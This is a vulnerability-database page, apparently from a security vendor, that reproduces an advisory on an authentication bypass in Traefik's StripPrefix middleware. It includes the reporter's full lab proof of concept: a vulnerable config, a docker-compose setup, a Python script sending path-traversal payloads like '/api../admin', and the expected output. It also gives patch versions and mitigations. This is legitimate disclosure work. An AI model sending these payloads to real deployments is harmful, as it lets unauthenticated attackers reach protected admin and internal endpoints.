Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐹
🐹 Go
Not in CISA KEV
CRITICAL severity

GHSA-xf64-8mw2-4gr2

CRITICAL

GHSA-xf64-8mw2-4gr2 is a critical-severity (CVSS 10) CWE-288 vulnerability in github.com/traefik/traefik/v2. O3 Security confirms whether GHSA-xf64-8mw2-4gr2 is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.

Traefik has a StripPrefix Route-Level Auth Bypass via Path Normalization

Also known asCVE-2026-48020GO-2026-5752
Published
Jun 11, 2026
Updated
Jul 20, 2026
Affected
3 pkgs
Patched
3 / 3
Exploits
None indexed
Exploitation data as of Jul 20, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Real-World Exposure

3 pkgs affected
🐹github.com/traefik/traefik/v2🐹github.com/traefik/traefik/v3🐹github.com/traefik/traefik/v3

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.

Description

Summary

There is a high severity vulnerability in Traefik's StripPrefix middleware that allows an unauthenticated attacker to bypass route-level authentication and authorization. When a public router matches on a PathPrefix rule and applies the StripPrefix middleware, a request path containing .. or its percent-encoded form %2e%2e can match the public route at routing time and then, after the prefix is stripped and the path is normalized, resolve to a path served by a separate, authenticated router. As a result, an attacker can reach protected backend paths — such as admin or internal configuration endpoints — without satisfying the authentication middleware attached to the protected router.

Patches

For more information

If there are any questions or comments about this advisory, please open an issue.

<details> <summary>Original Description</summary>

Traefik StripPrefix Route-Level Auth Bypass via Path Normalization (/api../)

Summary

A route-level authentication/authorization bypas was found in Traefik when PathPrefix-based public routes are combined with StripPrefix.

A request using /api../ or /api%2e%2e/ can avoid protected router rules at the routing stage, but after StripPrefix, the path is normalized and forwarded to the backend as a protected path such as /admin or /internal/config.

This is reproducible on patched/latest Traefik versions and appears related to, but distinct from, previously disclosed StripPrefixRegex / path-normalization issues.

This report specifically affects StripPrefix.

Affected Versions Tested

ImageObserved VersionResult
traefik:v2.11v2.11.46Affected
traefik:v3.6v3.6.17Affected
traefik:latestv3.7.1Affected

Lab Contrast

ImageResult
traefik:v2.10Not reproduced in lab
traefik:v3.5Not reproduced in lab

Vulnerable Configuration Pattern

The issue appears when:

  • a broad public route strips a prefix
  • while a separate protected route is intended to guard internal/admin paths
http:
  routers:
    public-api:
      rule: 'PathPrefix(`/api`) && !PathPrefix(`/api/admin`) && !PathPrefix(`/api/internal`)'
      entryPoints:
        - web
      middlewares:
        - strip-api
      service: backend

    protected:
      rule: 'PathPrefix(`/admin`) || PathPrefix(`/internal`)'
      entryPoints:
        - web
      middlewares:
        - auth
      service: backend

  middlewares:
    strip-api:
      stripPrefix:
        prefixes:
          - /api

    auth:
      basicAuth:
        users:
          - 'test:$apr1$H6uskkkW$IgXLP6ewTrSuBkTrqE8wj/'

  services:
    backend:
      loadBalancer:
        servers:
          - url: http://backend:9000

Observed Behavior

Direct Protected Paths

These are correctly blocked.

RequestExpectedObserved
GET /adminBlocked401
GET /internal/configBlocked401

Expected Public Exclusions

These do not expose protected backend paths.

RequestExpectedObserved
GET /api/adminNot routed to protected backend path404
GET /api/internal/configNot routed to protected backend path404

Bypass Payloads

These reach protected backend paths.

RequestObserved StatusBackend Receives
GET /api../admin200/admin
GET /api%2e%2e/admin200/admin
GET /api../internal/config200/internal/config
GET /api%2e%2e/internal/config200/internal/config

Minimal PoC

docker-compose.yml

services:
  traefik:
    image: traefik:v3.7
    command:
      - --providers.file.filename=/etc/traefik/dynamic.yml
      - --entrypoints.web.address=:8080
      - --accesslog=true
    ports:
      - "127.0.0.1:18080:8080"
    volumes:
      - ./dynamic.yml:/etc/traefik/dynamic.yml:ro
    depends_on:
      - backend

  backend:
    image: python:3.12-slim
    working_dir: /app
    command: python backend.py
    volumes:
      - ./backend.py:/app/backend.py:ro
    expose:
      - "9000"

dynamic.yml

http:
  routers:
    public-api:
      rule: 'PathPrefix(`/api`) && !PathPrefix(`/api/admin`) && !PathPrefix(`/api/internal`)'
      entryPoints:
        - web
      middlewares:
        - strip-api
      service: backend

    protected:
      rule: 'PathPrefix(`/admin`) || PathPrefix(`/internal`)'
      entryPoints:
        - web
      middlewares:
        - auth
      service: backend

  middlewares:
    strip-api:
      stripPrefix:
        prefixes:
          - /api

    auth:
      basicAuth:
        users:
          - 'test:$apr1$H6uskkkW$IgXLP6ewTrSuBkTrqE8wj/'

  services:
    backend:
      loadBalancer:
        servers:
          - url: http://backend:9000

backend.py

from http.server import BaseHTTPRequestHandler, HTTPServer
import json

class Handler(BaseHTTPRequestHandler):
    def log_message(self, fmt, *args):
        return

    def _json(self, status, obj):
        body = json.dumps(obj).encode()
        self.send_response(status)
        self.send_header("Content-Type", "application/json")
        self.send_header("Content-Length", str(len(body)))
        self.end_headers()
        self.wfile.write(body)

    def do_GET(self):
        if self.path == "/admin":
            self._json(200, {
                "seen_path": self.path,
                "secret": "ADMIN_SECRET_REACHED"
            })
        elif self.path == "/internal/config":
            self._json(200, {
                "seen_path": self.path,
                "secret": "TRAEFIK_LAB_INTERNAL_CONFIG"
            })
        elif self.path == "/admin/exec":
            self._json(200, {
                "seen_path": self.path,
                "rce_chain_marker": True,
                "note": "protected execution endpoint reached"
            })
        else:
            self._json(404, {
                "seen_path": self.path,
                "secret": None
            })

HTTPServer(("0.0.0.0", 9000), Handler).serve_forever()

poc.py

#!/usr/bin/env python3
from urllib.request import Request, urlopen
from urllib.error import HTTPError

BASE = "http://127.0.0.1:18080"

PATHS = [
    "/admin",
    "/internal/config",
    "/api/admin",
    "/api/internal/config",
    "/api../admin",
    "/api%2e%2e/admin",
    "/api../internal/config",
    "/api%2e%2e/internal/config",
    "/admin/exec",
    "/api/admin/exec",
    "/api../admin/exec",
    "/api%2e%2e/admin/exec",
]

for path in PATHS:
    req = Request(BASE + path)
    try:
        with urlopen(req, timeout=5) as r:
            status = r.status
            body = r.read().decode(errors="replace")
    except HTTPError as e:
        status = e.code
        body = e.read().decode(errors="replace")

    print(f"{path:28} {status} {body[:180]}")

Run

docker compose up -d
python3 poc.py

Expected Vulnerable Output

/admin                       401
/internal/config             401
/api/admin                   404
/api/internal/config         404
/api../admin                 200  backend seen_path=/admin
/api%2e%2e/admin             200  backend seen_path=/admin
/api../internal/config       200  backend seen_path=/internal/config
/api%2e%2e/internal/config   200  backend seen_path=/internal/config
/api../admin/exec            200  protected execution endpoint reached
/api%2e%2e/admin/exec        200  protected execution endpoint reached

Root Cause Hypothesis

The vulnerable behavior appears to be caused by path normalization after prefix stripping.

Incoming path:              /api../admin
After StripPrefix("/api"):  /../admin
After JoinPath():           /admin

The request does not match the protected /admin router at the routing stage, but the backend receives /admin after normalization.

The relevant behavior appears related to StripPrefix calling req.URL.JoinPath() after removing the prefix in newer versions.

Security Impact

An unauthenticated network attacker can bypass intended Traefik route-level authentication/authorization boundaries and access backend paths that the operator intended to protect with a separate protected router.

Potential impact includes:

  • Access to protected admin paths
  • Access to internal configuration endpoints
  • Exposure of secrets returned by internal backends
  • Access to protected backend management functionality
  • Conditional RCE if the protected backend exposes an execution primitive

In the local lab, a protected /admin/exec endpoint was reachable through /api../admin/exec, demonstrating a conditional RCE chain when the backend contains an execution primitive.

This is not a standalone Traefik RCE claim. It is an authentication/authorization boundary bypass that can expose protected backend functionality.

Suggested Severity

Suggested CVSS is 10.0 Critical with Scope Changed, because the bypass crosses the Traefik route-level authorization boundary and exposes protected backend functionality.

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N

Scope Changed was selected because the request bypasses Traefik's route-level authorization boundary and reaches backend paths that are intended to be protected by a separate authenticated router.

If the vendor treats Traefik and the backend as the same security scope, the score may be interpreted as 9.1 Critical with Scope Unchanged:

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

The issue was submitted with the stronger Scope Changed interpretation, but the maintainers may adjust the final CVSS score during triage.

Weakness

Primary CWE:

  • CWE-863: Incorrect Authorization

Related weakness candidates:

  • CWE-180: Incorrect Behavior Order: Validate Before Canonicalize
  • CWE-22: Improper Limitation of a Pathname to a Restricted Directory

Mitigation Verified in Lab

The bypass was blocked when using a stricter prefix boundary:

PathRegexp(`^/api(/|$)`)

or:

PathPrefix(`/api/`) with StripPrefix(`/api/`)

Relation to Existing Advisories

This appears related to the same vulnerability family as prior Traefik path normalization / StripPrefixRegex bypass advisories, but it affects StripPrefix and remains reproducible on patched/latest versions tested above.

This was reported as a possible incomplete fix or bypass variant rather than assuming it is a duplicate.

Reporter

WonYun / kyun0

</details>

Affected Packages

3 total 3 fixed
EcosystemPackageVulnerable rangeFix
🐹Gogithub.com/traefik/traefik/v2all versions2.11.48
🐹Gogithub.com/traefik/traefik/v3all versions3.6.19
🐹Gogithub.com/traefik/traefik/v33.7.0-ea.1&&< 3.7.33.7.3

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/traefik/traefik/v2. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Fix

    Update github.com/traefik/traefik/v2 to 2.11.48 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-xf64-8mw2-4gr2 is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-xf64-8mw2-4gr2 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-xf64-8mw2-4gr2. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

## Summary There is a high severity vulnerability in Traefik's `StripPrefix` middleware that allows an unauthenticated attacker to bypass route-level authentication and authorization. When a public router matches on a `PathPrefix` rule and applies the `StripPrefix` middleware, a request path containing `..` or its percent-encoded form `%2e%2e` can match the public route at routing time and then, after the prefix is stripped and the path is normalized, resolve to a path served by a separate, authenticated router. As a result, an attacker can reach protected backend paths — such as admin or int
O3 Security · Impact-Aware SCA

Is GHSA-xf64-8mw2-4gr2 in your dependencies?

O3 detects GHSA-xf64-8mw2-4gr2 across Go dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.